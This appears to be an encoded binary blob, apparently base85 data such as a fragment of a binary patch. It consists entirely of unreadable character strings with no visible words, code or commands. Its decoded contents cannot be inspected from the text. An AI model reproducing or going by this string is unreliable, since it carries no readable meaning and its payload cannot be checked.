zNu+d>WO|Idhlf~F0KL_~fzInB3+cRA0}*~i&EDahqpcq#-Ctv12(f*W$QRlGiee6| z=AcfuR$N9b>@qu^5jMC=aWIZNZu4GJZj+eNZeT;%ZeQ+=ABKOcs$FF8mykQvU35nLV|Hb<1Yk?`W8xBLc|N_ub5F0PSZCjn%YmJdCn#@E5R zfHdBHtu`5@SUa=x{^bH_zo%7ugy)_4ocJuS)Ef>7?(x0Y*~Zu34A{Q*;pMU+hZm3f zP-<~#f$3iDX;VnGZED%F-S^e>enT5|%};Gl@J>+WZ!?KT@yXA3HPm%f2S8y0Ip^QP z1Y{lWDJ;5U(38-5fzCqi7}~_oG-O2I|JH1P!9EGJa*=b7nZ(xsy@ut#!d@l zff<}pM3jwqJTX{@-OkV(DbC-CiK>p!A21isbU8>cL;PC_M13#NfnW_fX}454XGO*W#{r_ zG%7VNe|(Z%+PWRSJ*ubuJ{L!m^lLfmASK`J`q@KgrG1?Mq^sshHH4SfoDP({ZoQ6E zRlNhIG|@Hf_X?hBxbCV@m!ARir#nR!I#!Srd<6`K1fFik;a88QIUP3#82Ypv9->P^ z*^b3>?kZV;ASe6+1?*W_zk6gnRFKJ(k+^w$xydMM?vG{poGxJQ8*8bAVN)(Y>wJKnRXGnz|%s$1YCj&&fThK0pKI zzV9??9nb~)&HPmIwS~|(U4(T_{i_Ed)4p!7{bwi3um5u8=c=@grA8_d#5C^|{^o6{y7lr19(mAGaTFC~H)_QsmZTGMzQA>WFwuCD!5 zvr${n{o|WvbLi>%;)PPv&TbGs-a}4SmtDXr-xd&_;S%XvkA&YuV8)uz&$nW{HDJV$ zlOaL8ei#!D;}10#MZO*#jm?DUfQi(ao!wEW&0nmN_iqBLq_sPnDg1EEm?n_%+q@Dl z`ALdl=Mkt>q;CNlVaR^1*oVN>e3`z;z1Jt&`*H_ZK6LLkfpT`7YJNUZIpZqQ+8MV} z_|ymK#;%pM;4BlzV`MiCeX7F?L_ww%SUmDr629+v8U%kwu8~{y&8%o@j{b*Z{MOhF z*O!fVqWEkZ$e^!^um`Ia;`RaUIG&Y@XZSs+FClCk4X53&g0QC_!6qRlL#r(?{R$Tq zhnREo4-50iTSDdWF+l!vFjWm+JM^FHZP-F_D3+MK$F+pW`GW-3UIHe87%P?A$qq2VYVZEf>F_GM+wZCj^G+ zNA;H9N@Hlh0`<(w@4=YIm7I3;inil&^|@SLN9agh$p3kyLaVgg0dA)&KgWks@VV1* ztT@MN7UWI)65NR< zeFz@`0EIfvULhzBgiD)znDwgT3Z*4}pJNclevWyxyO26U%T=!f7gtu=Of(f|f8OjF z`UeJD3eAt_U;(r5Pdi`c{SGq&V!}t_#p(13&lsy%Au=kRN22s4a1d+>6L&W1^VfM2A*N1ci)U$b?U zY=IS-b?o$WiD@o>H%PEseW>U6PLPWJ@|)M2)~e>VqqKOmHGmZ0MiSnKQl%ogAXWP6 z$qlooSC9hRH!CUy+6ZO<$Sh@i|AT@1@5i^71)(oImI67qv7g;3ef~eDKqj{&Sd_Dm zc$0N-6&U4wuF*nte%XD;Ufa(IB#hFS=}T$p^`&-=;M<)V)Fq`ub)5YI;!v5FG~npv z-AwC7CGt>TJ4m`A`t5@HGYZPcwr|0cr5L>b18k6X2iy5OT9OcmXj(xE>cPC`&`)qT zd7N(`8Bgg@h}c;jAJ`b=f*JkD;mk+;9{nT+4V7MJztaOUt~*9X4)LdQp@`A|EW#u| zut)7ZFJeFWQqR<=1}5Nn;kST;9Qe@h0P}$^?!)BAccB%}95MXE!W z>iBxFUz5ueS%?ngqf7oB=>bC?D6kXyYhb4*@CY}U#XFRgLO#%(H<&-wH!DBP^ucEb zOs8__^gx8?=+52G=U=)fOJ_Xb1May~c8K?%Edj%>&}y1cQxnrQO%1*^_5&12%G0TBR~*5VJ4A7m z;?Q(PUQa_C^x>?+-!zGz9%doV{R>?)=0f*%e)TZS4|$>&AP4+F8I^_eSQv*nl8U?l zj{|n%eZezKhF&saz8BH?mpDrv3o|qB$^`43;7PR#XSMm)ASx0g;a{PoCtrD5x2#Oj zn!WzxyY508$~g;wOIJ7N*LuYW@gc6E8ylGedRLbrJb;giBNM>7wwkPQ zZLe2Nc$<(Um3&p*Xr}Bl~O{vN$^0I~8(naW6)fJc5K7+1sdf=w zrzHI?y%NpP2LK7(1$)m-Kv#|NI!FI%F0)$L-n!5Z2lr$8>x%@ye(_HStWyZkBjKT| zBV+d`r>2mnF*0myv3Hx$^425|2$b$?)BK~OCW!AP=fKV$8pH!SF!q#M7(75&r#3sh zaeRR~VTgKX#kjp`Ga3%S9NbY*9w!_18q~itU;K55T`>4ZUQsOmR!Qj03H~$c>gu?P%g>fm z9)zQBfU9z-a%Xy(E@F9j8ME<=OZ->pOV+N>eANbI-rKw16VDuqSRCnHYYPUsf}zx` zpWZIZUv5t_CO7KAXAbxnd}zC`)w-hhX!DR z7rM>M$tloQ`3=)YU?qglY3CCgMD~S{xHy@v0nQu)dx->>`A_A#flQfX+i=3_PKL@0 zY8u)_z&|hpu3?ckw%O+nJM%T$-@`EvfrgcX1-z(*h`BF^-mayu%b+ESwOP``^D9CaE&{O-oM64BrgA5+xZfPL%xauelsplq;dhR2mpqdlksHD}|WeJ!9 zKq+V>Ls@19aAmM2^FO=*z{sT4xtwhgLzv&2SJglYhzaQsut{?iI{J$UPFyg$QS4rNur z{h=nXTHIMT*L28f6XwU{QYvQiCVhT*_#+Ifx28yiReW1PmAyD6LlOwvxt@Fbe3=M> zhH|cZs$UaFBJF3P;Oc;~iJ~9hL9#Ji;YYF&u;Y_xquCJ!peFp^n1ffe`|9f@i<3oF zX>siA>}JqCIg^>j+rIjpsjp2WH_D>bg;az6rbkA6UYtBTg?gWN1HcZr`e&}ZPbr1s z{2Vu(%N)QcxXmI3b~zi#^8C3k2+F!7s^#Dr3Y<@^e~-_g*W1-%O}DQ&x*k-G)7pns zgI4#?s`2Rmp=uE3N*!v(T|5?JSK=SwcgZv_M}bQ@)<=n{H%HbXKh{^skM-vDuL=JA zU49YI(ND+S%+T!yAOaRD=Z_*@mmip~A zU&+I$9_hyUi*JBk4nlefhok}%9Y8*M-VNDQEsabE2z?>@kmhHPusmzu!|Y?kXDIua zz!3%RvN3SB(&${Zdy*4?KlU|IgP)l=rz|4f@^)XE zS{}}YIsk-CLUm^`1Ey~W(U-weqXlbz?K72Nww0(-6l+q?#L~)4NlpB6yq+jlXy+eh z;zMnB7HGTgl=70n6&<3r==vPcS{5vIE{D!aJd5CArVtn$yrQ0-irEZcWok}B2kS^p zmz|H~f!8tB8i6foRaIZKK=Pa{4D!bsocjC^tu_^(6^YO%?>-4uw?2MMdL&5eZJ8Ex>iS z3xQgIOt3a9;W_!oNncv80Vb&e8LBy&LuEUOTMw@TPX#OJuJanCl;)s7h(SR?aB%RT zc<2qAyInRK3}Sqeu*BTO@k1rnz|R{>9||iAR|8|uKznx0X@hOsS~T#P52u8--2f4k z!oos*+vmr&Rvp33D!s2uWZqXL=dx6n)@WypuJ^N5qKD9lZvVRS;#Qkav`m)fNgEr5 zA@VC}KBRZgLI4$ZxDN3?kLw|#qn;ToLfY0b!A{jU!TyKhIv&Gx3$sGhk zHpC%W1;=*5822%o{s*vtQ#UQIrsl29$W~KtGQ-9#tP_t#R%aB_Fcy~W9wi29aKCwZ zROWo=^r;J& z;CV>%DEA{CpNm~i>4y#gkIbrVVD`{24jCn`IcN5-Y0B~rY_>FEoW@?jCemubOWK}I zv&`$rIhHx1wW@ZPwp;(4oe9D8nT6_5Ip7z^yokl$JN6o8!N;?of$PwdWVQyKQa)zyK3w z<25%3ae;g{5Y*_=ldI5R{K46jgn9us-rb=b;Xd!)n` z%&PiK3>O8qZ@Br?JG3KGuL&g&Px z7I4do9#9>r><`E*2Qm%fhfLEwK`~UmchQ5G^%XdNFL7^`P!%`4qiqwQVylShfcqby zQoQn4b2w16<*9hIhn%{@9H*R5uig6$>2pK+CNtKTTbQS<>=&C?%OPp|CgURpk z$HD!vVbG!56^sqBsv`X4nn6xvhNACa$0XpW9b^}OHYv(^M(G+X^zhq-RLDBU$7i&G#Y6Mos+%hI``A|muN)kW2O8x2ASl@NeJI$M z-9OEy&9Fam`|}#b&5y=vN8<$910K%(iD$7~gV$n%q-e410!6F6bL^00 zw%Ejvz#NXucrNezskgvN+3R3h&+)MKnQyj^B$$XFZo5l~>L1--cc+y%KUN#ab6u40 zaSGNM;wFa$Z2~1Y;F*E+d(Jx0n87KEx_d9t2j@xJWbU zeANj-4v8fNMM$!F8W2m}XE;#$uxuu+qC!z zY9QB8_muKtfr+p-B5PZKu*81u zIxDy-fzTfkqgFgeP5jn?3RT>gO%Hks0_t|hJYGjtZ7gcret$l(d%COUV`}JK$XQ9i zp!*yu-{*jr6rdEcOy=&*_Ge*}pVP7$7%C4@gr(`X(D0<(1G^jJqy{eY$gf7y;E(M4 zN|{4t?J-tUZ&JQQK~S7JCRxQYlstg`h16BLtEX*^*HqY-A^E746Iw&IgU06sC<=Dp zHV?i&E5Ie&sg{AbWI}hTsGQk5uD(5?6cfvv+kh)Ko@8qA#C><2< z!Uvhm)I2#*iFu6QHTcoU?)6YhI59lNPmE_Dzr|+X^qnGFUdrKy77=vp%cVuL32Y0M zw5(jn`C{7>>B2t$5=CROZmvZ7eSZ6N(h!bupS9SI9lT{a2?5qN6SS23wl!W|UNj4h z(E*dW%v+l2O>}|&DdDgnOY!=4=V(W^yUJV#Wj2%}Us2j^*s7cUMA;a*j5Mz*H$SDltUU^8nC9dv?5E5`V^ zlrI5QXTTaD1?KRAlW;`M!F{G}oz%w8cIJDx={mXVg!Iieo}S5CBFcxnnMY}eSR1Vb zb$>?$;9iGj$?$8;I`TO@QX^CS8A0`p%%$6a+>IU#PQRbTg zbGZGpUGX2t0v+%`NBMlBH8dnjYwp`OO%t6)Q0yz!zX%3d z;D0DB?vPT_hkDp?{djWH0mgx(14^`>Jw;FLw0W?Rkp#Dr^ZorL6*FD8;jdJmM+*#d%+B9`}6$h@`bp7ep1jYjK+Fvj%B zojX##Z3G4y0nhI~2+OYmDjkgRiI_aKw3I+|3pWM(F@-;yT_o7H9i!h8i;Q|(Jc8_> zvggr+&pYqhp4i@?zTHT6)J`xy_n}(aE15|YG>*@8ul@pEEO^C-TsjsKb~s)5Y}5NQ z!1R4p+Ctgo{b62&`NmI(GzTmr8hC5-4Qm|(V@=F1^6~S-2c(chi~vI|D2s)_U_*Td zW=9*O5YdxU6bDoL4%9{8Hh*z+x8ugZhRxDvmMeC zr|hvih)EVqWTXbjDNbAC@;U97|3VeDE2(IKP7B*#QKlBoNst-}=AvkZOq_uANr@m< zb)skoKAA2{G{s%$1>oqLh`CuOc2VDW4a&aH)8x`B%wQxOuuX4AKja@8hVQ1E;7i zj+oYd+p@_MU!WLp124^;E+n)U$yx~vkZvFvwiTlNYW@LVy47(Kx@mQBF(cr)K3h3R ztrY}BY=8Fd!*vLrzb`1YkaQUXRlGGJ_8eQK8y}e{)e23HbH6bt-tb#ot7}MfKXmt< z=Kzp%ut#7C#d_CfeB1;X2}UD`x&9X$gO17tmcqJhJ^yka(M>`tZOI9{rYzC1a(AXu zX_k+m!jtw%avhnB_-P$s>Vhd+1{!&l6An9 zb;|f;4Pzk z`y2>^!V0W@4&ZWCKw7bu@N=FgKa1{3u!&Tw#Mf9XpV^9#=fyzZ;p>aPySr^lt8Xma7!ixO1+yesx;rt*{ z`r%&C*EMAW2q=waSRwiqD9zDu$N~L$AL4+f0aVQ)jfd^WZiE83F>zZ_!sxe7K&T)@ z4t3TnzlZDZfs@JKctX=S()#-<2If?S4OGm zBc&_9tR8@MEu^gwiHROW^&5pi=;(_T3vUak13uI75T&mszQ^D^X5<#ETX!-8R zTbr2;a~wBrZB2K6bP?(kF<6G;C!9jdd|+)$=aGD?o-TMt65$J z3MEMF?h`!i6@$DmOtm!-oNNeyd6Vy50uUh(r@4k&Kj5_4sj#&wQDxDBJE8E>kN(cZ z14#BWNZ0%L_}1r{6mF|Cqv(qh2ULYMIH@F3oUPxf~7;9 z>EVrG^tK*!WKO9!YwRDk{ulnocIcuHLKZy%Ae^39R-_ZIBSvMM!?}JcvUJ>p-B3GG z>LkWV*JBBGcmn(`l(Yl;0Ndt(k0=W^NmQ~i--nDm$L9MN&jUAu?D?ih{^P)HK>L%+ zY1}zTacJ-og@5d)ROf zkk+VR;O;v-GZQw*F9rRMUDeqzWhDwOlU^@BBs|k#g$P1s{kMbcqs2w<+*j!eS%e^* zkkI$HX+MuRW`#?}{AI`q7aLJ~St6>s$g-B~d@zf$Mrw4M1@OyjEmf55oLbF0%tv#Z zf2+E?3Hj5rnMhx{wtp(&X1@VB;7=4Tlr58RAqoWoB$NnJ_irUEqq|)vP0GRie4+Sd4o8Woc(wlN z^KAE&#Ek2k^`hnzQ4hjyw(~&StbRd4#y`K&+G}$Nmp|&X=g11O6O9Bsv-~rsRDiy1@hw z^yNwA(9BzaMJCOdRN ztg25bRt}I_<}kr+L^L({Q7r>s*d*#)s$m_;{?pG#xS#ykOqKU{OqM;Yzi9;uS%KPz zbr)0vCiSvoVAZ@qkc$7WTcnQdZ;|?AqsK*%VFsSB^GoJ3y%yaVZtw5ZjuRkUaKyx< zXQOQ6_cc@9Sy~K$f1^Ke;8en`0zM@#S9r@*Td`Xw2s`|1vy}Pncj)z*r|&s&7oSPt zpXcjy8FNiknkRDqg2sUTD$WBcfa|S4+@i{S_GPux#U_C)EF7MUEFPXg@68Qh zD+E753+@)goW4@zdYQ#oSC`cAY*vcvw~({*MIG;V>Y1!t9!XxZrp&ubE`s|g=R7mc zi4z3p|2b*R%wEk_Fo6p4(UdKJw>Md4E8t!?c~pSKpiJG8pSYRZP46=*tk^Qja=v(R zbJRPxKw6^c$-|2RiY50^>(16kc&+EfR*nc7bG5}dD&tOoZ5?K--R6?RA;(QkrHupm z`k0kD-4Z6-YMPs?<5QWHOvUWPSXBxiYJMzotd`Q&GZi&d;^|B<`HBpfr|065-=Ke& zCSTw)A6zwyS&rvSPwzu6dA-Q6!;o_3?XbixkY%b(qJeT>I_47%&51IVjaPaumj<=P zztVcL`e-2RrtPt}Dk{0g>k+m9_kI$qocl=9)upNPt!k*o2!3lkaARjNKh4Lh7rx79 zvuIDjW2LasI4`Yy2~ZXLhl*`c2HX{a~1Q%(31KOE3F zm?-LqHu_};2o<6@?_HTKEor?fxk$=mM}f3L#VMPG|8pn9tA&$WcRZP7)pqGZ3A*>< z{YXL|u$n_Z{7G9pl^HzE=*<~BJRSSa71FqPo6iHjY4-k?c0S8cU%F;^)ox?XcZ7D3 z)2Fa1Y7%;Dz{hxU@hZPBo7LRf?1xLe@87R&ZcCP0g%r!gy;@w<_sYd36@v*q+mLW^ z%Ts+7O-VtKE5O2XR0OLOPfw5GapFUv;FheJmeR9^U5KuoVv70f6R@q|lSaF{0t!W% zudzZzOZS?c!P*)oD*IU({)GEpwp-(6VkyS?^P+XFD7(!X8RqRRyHB;XcQ?{zZ3UpC zxjf*}$pB3dS+f~_zU@VL-Fz7*axD9*7NvlV^JTGDKA&m>6TIYx>q8WFis%_Hw6sVr z4!dl?Y&&Q1&31)ZTDej`qv7U@YfG(Ew@G=@AJ?9YX7y~>+P$I0_6pA#m2G)%@v=zI zDLjgshG%N>1iqUc)!ozbX!;t(54+YxQaR5C+-A+>fEn4PI4s(OBo6gr*P7TS%XPYt zqjJ0=H`fYRJFO1w097hyj`10;#Vbx;LD0Khb0^6jvl!6bLvw#K214UM{Ih88SZ&oN zD*;J&|CIq7u5CN6);F~piHaVxBKZf)JTD*SodLpH;xHr2Y%MBQKCSuDkw@K(sc-`IH z_(VNC-bP3(T>Z4}J$B;WR~IqZ^y5?o0xD@fpCIP%-eIsDhtJo*-V0~1);!p^77|}h zhpH>8b9U;@4TaW&F3u}Yt!7%!HXi@}HO^iyZhYdbT{=A*TlPQa+glScv*L)x+u3TR zNE>vL?&jpFy^6ivjg<9UpTE$*D<Z9lQ5EqE3VT;hU2OLC=?lRf)`Bi>>izd-8g^^Yx{};HSH0?e4QcoxTsj()G(#`VoZ^HT22YB+} zA>8czq?WqUIS~n~qzJlaDw)^MfMa9vs|!9!9`w)zcjM4eJD2#!(|n&R81f<;4mT|m z9j!il>@Bv2tY4J>%i43*u#W^;7az%<^}uHqYX3$b9b;U~VlzE{H0+)^*h~Zqr&w_) zPG4L#jCnrYeIrK6l)j6SPn!<8VS^pX{3(LtqRQH5LrR_ zc{?~C#^=?}9z9ytU80i`M1R{l_2E&cqiHSWd$(QPygQolTzgi)-9+v9BXz*(@=|#L z^m%gTiTSd=CwooY$_2_z<*&CYz^x}yf%EuX`K~%3LBEi>X14p?7MIPVw@iy6JEwq# zgP9T~%cZXxC+4fUGGR0@RBE4rN6E{}YoNHSGdVFa<8<#H*-QuXR8p>oa-e%ji33oF z2@<5E#oi`A@d^syZ`m}Ti?O$^po@ziL%n_LP|$tt%ERLgg1ei?x665-fq)$9VJ=uI z{f~e~>N?XsAHbZIpu2n-<_M4g91ol8>nmHds+o`K;+2&0=QVb&6crYJ?5me8UpimR z8#P7#?UBdh>omNCQYif`_>`)PE=zOR;~;M?Sfuru4m z!0>GO{NyLMjOLu)z^!`Ly|(Oz`M3Xvw6BheGJoS$L=ZtyR1hhZ5-CZgOGyDSKtM{m zm4+b%6qJyZ4r!F`91xK%>1OB}V8|Jo`+Y%NcYnL*-gE9>oa64gGs8PieCp9c$cHk0 zU!S|AkokfqgH_Jixxx^pASZW)&2pNioX`0th`KZG3R!eW8e3RM@4bC3IGSgT!>Di8 znyHCH^28A8lk2r~I@*-01wThx4WCq7hpBMe(~(*b7sh0%6x?=*d6FV$T*5TDQ}0X0 zVJ$>$$q~V|ackiul#801ODgGHW-dhOTr5aV!Rn;co2nqTu(wT?@Ko4gDsz40$J|w3 zo$Db?>Yv5R+&wN66g8F*OE|qvO--5|E)w$avr|Q8c`C$JXFCnbrOOW+bOkRt)C^aW z&g})o)W(bTgYKmUqm)VeLVKr-U9xDP3_~Wf9Fmk*m?5X^*7LJ{;%Aa7)v(*(+v^Ux zK67izr}n|aGAFN^SsuDN)r8F6em~|8zS(q-pY%L8YPyj&b-Tp%- zezlT={#yAFYZy#>9P-PP@4gXfEn!=Nyzi`jT6z~3V-w`;QcT+422Jo@mkHW&RoQKK z&&}OEp9x`FTJo&dDQ$eIrU^+(E?`3-8?p7d|4Bt@i@nQ;ZuMZtDI|#Jt)9ufqT3@5 zwGn3Uy^{Vq<$ z*Su6+y)_{{xgK*yUG|UIQbgsBpg+0CL;cA>`X)!5E^)!`!j|aW;UX5<&MXa$A(*+W zj>*FgbD&282C;E5qdSg+r< zsAv@pJ-B!4Ycb4l9l~P*23aM<`7n|}WIw(KgE}0$hdX`4Ke!ro} z!DaHmb!f=#+hN-L{RkJ+t@`HX??0qE@%7CP?^P|LJg^V1o2>WR z4to|J;wP=&gb)AQ1&b!^z`(c%A%y|7)-=x}1`a5zrjMD54#nG}&$ zvfuK%u-|?pk2k(Dat3_EMKmArz5RGizv~5+x6p@gJyE`;INH({>3Ti^v|gF?$`{l+ zBo0MFQqn%DV7MiKDrcOwE$50ImOJjbJ1S;W6C?J7`z`M6Uu0N0370!b4=sFFrqaV) z^hgos?f$dan>$9zxl#50W{P@ed+2IEKd^MkAPF>jweM-kndY0$z%YlO5yGtY)@+#f z1`D?e?5yW``)UI=eH(a3pniR8zlX;;GK2nwsNqr%16C9CH0O^@b=O*7Dh`!5rPfBs zWtg4=`*d@R9#316<0RChY`xfhS3+!G-6AKZGYE=5qBFtlyWB}pEM8oDWnX>jE%kdaxDay z82I!Z#EE0fd#}W(GhZMJeUqatTA=>$f11bPYxwvWH;~J?M>tlH^}7AA1GB9Gg7_l- z&4AEQ&xE>^HCAmuMmWQ4TJ;*O0Fw@LHQ0!C1JSfh4d+6df0aK?be?Qj>!v;kNT(~HaRvRAaN zQU`i?+M;)|aH5IApt;|@8LF#_HDPR8vx7UQ?>}gj2yLZUsg9#6hylN)S-HoV&Zqo@ zeD)$mLk_~JR@k`BnmLWYKY2fEqhsrLNQVvgn>k!3jrI2d>-WENJ^YvZr$X>(XoGy1s;Fgfq(Z_68=(EbklIq-Fic=)aaSGst3fW7Klxpo z%QlOBiN?IiNp#n(CNHQxSrG@=G$EGzzzwUedkNFq{sp&-rcJsEZaxXr=F0PB3U(IQ zvJ=8r>J9AV_u{o4T0x;~w7^kcao?>xL@GuU`rT*zKUOO-zols3kVw|ql92lPdeKLZ zWD-1}mxg{ipUKm}wl}BGcwrQkHU+K@&Huf8JxhC9wM#go`R9y%8b8n$*@O2wr+whb zJ*#>$ac>@|fbfgiv~qKr^a(fV%`EhA-G^!A-A%b+vvHQwY&WbOt1IJ)s%JPyXAqk{ znzPBCMYoUP1GYbi_=^kl#;0^xKA8ZmXS3)h$!sI5=g+^Z{$A}-akB30mHeVymjl-` zgk-8=t*>@Bi(W5m$}gjx&bxd1d~YTV8k@H9E5w_-vd~dL$m_8#Tp7A^dAfpI8&p*b z+pKqQPH32n0w*__qD~+@11Fkl~!tHXL#) zV!Q^9>{t|<6-BvpK06$U-<#1Vou@JGNp}@=QWst=-B4NjS;2gh`2I~+Rze9siXv=% zo@F$;OE~Y@qtE9*9IVt)^&JeKTo@`*b(cuH(ylSutKrg3KB$^oH1>r)l9ag+eBBM- z%3n;%W3afw*07Z}&vP{^^o_iQa zM@NrMK3&Njoo^10Rj95_p9UgyBY8C`6SXW(U>e2SQzuOoF?(#`rC{tV*B^V=mRL|N z_Y43;KnBNDe#PI0R!QTJD?ZIF20dK~&G4^KA1Lx7Iwdt{zqX2Z{}B=$wzki|2)~rV zhM!rLspthbyEtrxMZMgv{}EaM^Rx&%qy|?V^E9+D5Vj6pMrv}%x8~y# zn1gMu%xgT@*uz6XL6LKBp8CFW4BQq7fCR@)C*HfEm>vLC>3RyY(ufRD!COCf`mrnm z+$)#9Fc>oxOkL>9wXb45G;QfMuKVgJync;$m3`J4;74=oX(Op%}ZH{MoO`khykk0vtf zdSP1IjA>^`6dSu6Uf9Z@JEtt*IGGx<=LjF2oJ`z-g63l28r1jhNjCWjjnrFIc3UIB zq_wi@fCC;Gu^>G`19Whf8BrLC(|Of4mgWKQ@W0O1dVctSyl4ns*{trX zWYF1)-MUCc;>;*{_(;%~9U(2Vtu~#f8aChR0I;p^7MK#jm^hzIcyymsS~L28+=0N8JFyvE|_$K)JDhfrn0nDF6#2pKyH=r$Hcez{dnTL z9TK8b(_ds>sc@S@`E!}+V2}7*ZJ;$1R9&rUpz4bBWs3h@U7ra5t-7AeHtwaw#wie+ zO?@riLaS#Ay_35t9~3(2y+f;5KXdU~EqtV-l-FGTd{SJdAtdYhyIALKKZV=Tbd3x{@LW|*5FwdC=nXs}?mNL_;!PvY5Pd8}%g_X3hYk$hO;d0nm zNRC_}F%4Q^Wq%m;Dcr5#1Diqn5W;}1GPEObrs?-g=>W}?gc&dB|GOL`{U-(Naxu`jDMbrhJ; z9n9;WuAGOny>5T90og;wb-EDM_hDfnLsC|zZoBK8ct%Mv*N6J1raH)uwY_fm^ovT3 zK~9F)PT{rd(^FGpvpEwXZ&-0hMq~vI^3AxQx{B&i6#1$2}r=5zw88BRj zn~#rHp%xpT2gSzvSxhyO(hd#{Emh@z8RIo!ifn!!a$_`pp(NCn{-J245{{9)@ljnC z=nswC`UOnjqbmPVllPBnayIT^qJ`qqm)9BK#_EEuXN-m^Ek|Ng1gswHt<-JE`e-8^ zL4t|M--~mt0kftJt1Po?c$)D_bu$d(tc^F4Yt>WuDFeyF%lqCSN z@})jok#`xu=^e3!FYH-?(y&)+<6+c^vw--bskyF}$=xsU-tG;i!ZslDM2k zU5}ayGwF5p_4UbrBLx;6dm!FSvuz~nA~|`Y?iO)ZOGfFE>J?j7b@jH<*&JTQ2I}hj-rbR>{Q#&jw3l9*zfm ze&SY@^)kfRKRhHP^JM&04mtuSSmm44`Ym4A-hbCu?_Vo;X|n#p{8Z>USR@28gO?2z z+u{oCPN|-5apL#2g8ybF{AD(J>tu3L|`%$)3P)o%KOH|@~yY(d*ncVS( z!6L-1Pam1S4;Pvm1AKeF*X2xm6Nz?PCUbq`!>am=?)bfW>nqO0-DygldqRW9khdy; zywj9zbQI7?shHmG?q?Y7icNw+iw>?nFK=J*SIC+CeTVEBlv%PIh3)Q6nHspJ5vFho z9OlM#6U#(wBom8nbdJA-}KD>%;Af$<9Drc2QV{QDe~imj=5ZQcAU9Eq>fcU+=IE5K=tN$u>L2KnghT)NkA)5s`j?w zqS5+%zwF(9)&V;Bdv;DnxR>!I?Vs@_mF+Kg)Ndx|N>$3r3~6a)s9c*1d?2Yx3De;wz%?)mYE+z!z27R)%W?xakpuUg z6(}j?M^Ss~5@|gYKXbIpzQY361Q3~w{BV`)+$<-x>)sl{@4#&Gc9@uLF)C-yEZ0mk z1KGBXT;5I;r(roxV#R*O1=5lqtGhLrAKb=0*ylqkkwpmS6x}?_^A2lVO-{NA4>VQt z4F~bSEDricFLz!g3;@s|GJ?cvafHMPh=yPJVmS9awzMjhi=>E7!QBs-uEy8rI#VAPcmd!8`zBHL)US4=Nq5waT*sHD zqHPh?i3}X=@$ZDV6Y1uQJlV@l3&0`s4M7V_OTdDLgAX98?=d~i^RLj}K=N#8L)tR7 z5ZW-{ZvyN7*f3NvbK~P!=B)C2>Iw@3@ZQzTw%LmAU6+=srD)|%s|HcWI~eNS)h1RI zbM!(-Pp+<|or9q7?yjRrgpRCYs(2qt}>tg6L{CXA@ZR8TPyLFv-v>RD~hk5 zWc8*SAL%O;F6mCxJ}l=kz>YCTTrnNU7e%QH_=Kb>qaL)fR-@Q`_?)(XyhP;`BR@?G zn%V;@VI8LX8NK}rsmZsF?f&|#eeE(uZDq%sUeE6dU+%gc^nmqd$@?QkOs@mDz$&0m z8N#gUT4jD-*hre6_g(&7mFAM((%wuI-PDfc*3O6H-A14ss*DR`syXOah%j0PiIwd zpLvq<*4W%yN-m239SjBUy>$iEhm|m^9^MXCCcAt37Iuy})8E_c+;{ z#vBI^O$l}2rshlPCshhCR@gTJQ1iWSjagdL`kd}Dl<#C)>#bO%M$IFh2 zin6Mtp&d>+T!&;%=y^XpGk>|`r0+GZuG|dEh~b&7HIi(7RPUMd=R0y8L+7Uz)i7CB zC^(n(>;d4>xCByW|Hej#Y|-K@kEdnzj828_d6>st$|CH&0%-e7x%E@Z_Xfn=Bdu_rEVy$`X)AKhgfq@-3zDDwvj6d zmHzZ%c`H|PZ)aD#R)>IMpBTc%W;k}rvR)Jn5Iw9#7UZ(`0$p0AT92yA&>>zA3=X78 zSjOYMMz4(3@U0L(~089s|D+a1FD7!!X}^7S5GY^i^K6Ms{(l zm;em~!_xxoy>B(K_ce`M#nsB#Xn7PtJZ1cJZ;&4*@0GQ6_Xe?U)iNXVi#sIF6(iye zQ5m+TXhG8tTjLyR8WvA#d4JT1Qx|UlV@pBa3<4XPk|Lyid~^bg{%tIH7QV)Kcg4U* zf=uvbFbf8vUGw!Vhgn|Ka~YXOy+)Pe9!yuwb|sNS;BLlAU|PkSHfWV~j6h_$KMQ_J zWnWQBPj8wMiD%~X`$NR4sDTBi2vUBU%Yx1#z~t+rha2dK=yex3po74yo~QFH+zrFK zzwkBPhNYYEPx6BOm+@~---KCS^El@uHb~>`wVo@L6|(-4xWHuYW{V@c`4ZFOV&DR^ z;$K{MJ2yw5^lQK*WZQQ-q|0s+xiX*f3Bi($#dx z>&@y8<#2}QkyqV`TlNant&rE^;YF*0FO{-{Cu;pjnSWAtJ!_W<2#@jM$xBgged50| zT_2#Gs#Zq4RF*|)VaXc5FGgrY9DdEr?4B83>4HiezxOz*qa9bR^mq+Pt)B?sg1rmijq=-zz{C2L$B?YC@a`aa%b>JTU5jK~E) z!pQUuT2gbo{Erj|cq0{U%B_57IrJY^q~m62RZILVP}Rss{-ki)S?_w2&h+PkiT(QH zmD>jLrU(0{E>dzA-r0*O51JXYewU(z|D%=`DBvDtkOa~B_P*)rt-NxRI`lJG%T!$M zJJ1-H8OtsE&V?5rxbATJ^McbRt7~hE&c8koqn>m;aweBG^U6KBCcU=1vn{<$s9R*r zScCDhgL2@SpqRRPMPc}`{@>;Y+dRiDl56FFuxQW7=yKI*iQxK~(uOaoUNn-*ko`Al z)E%RinhdF~6B8i!8L%9jU!P{Y%ny#nE(9f#OBfh>h4OJtXIh7OFPqXTv@P5m*mV=LETE>&p!~|tB*PmsXQ4HI@ ze(hQmn&M1-3xJNs_Gpe$jXU{jGHYJ?dS>Foyw>Z*kny1GlK^UfI8XmVpeGE|%H&w8 zb3-s}=OVE8kYp5XIEoIa6q=luZ`%2E!tO~AaYD_DnO2Gmy7sIV<>aA-H`ET)p~h;= z$mZ|3g>tg0x9jil3;6WO*Pe>yj>=g{!pM7e%R6aUu^s;3L_A(Eu6Rzlw6?asviSP^ zYVZdRedj_R&h54Sywt~2W(hh=$860%2=_ud*%)D3na{U$G&~k{--Be%5AWI(GgPh! zw1EhKf)`!w3GDfcW_UDI->Oh9!s^bH&$=z7=CAM5DSemj80`IFR4#Gl3{=`D7Zc96y%u4Bql6R{ET>98dY?~n} zY~6&IqOoEoW`3YknS2Y*=w6a6D=<2*a;Mob=`R+DR~Ju3Ou|nr)Xd2W-|Ujx>?gKY zR#rd8Q~mO7GyX(G-wk0tou?ASvOPzGs`CpORq!Zva)M_@7-+YZ6 zg;V9tT(Zdcl=kxHOpVg=ys`ToK=`0_LMMMTJSoPEzQt`w$fW$jx)c`2aCkn7>7!c~Z$ zH^y@?31?e#vN}8Wd4~8GA}b?|OvF&jESzDG@n;n47R{XcCw{sbof@fXJsf(yvpvU6 zFm^X)oqKzmAJzi@_`PQ*e}h1&6f+WG(EgnY;kcGDxAuW@xXhsKYjM*Ui;QNt#@A8I 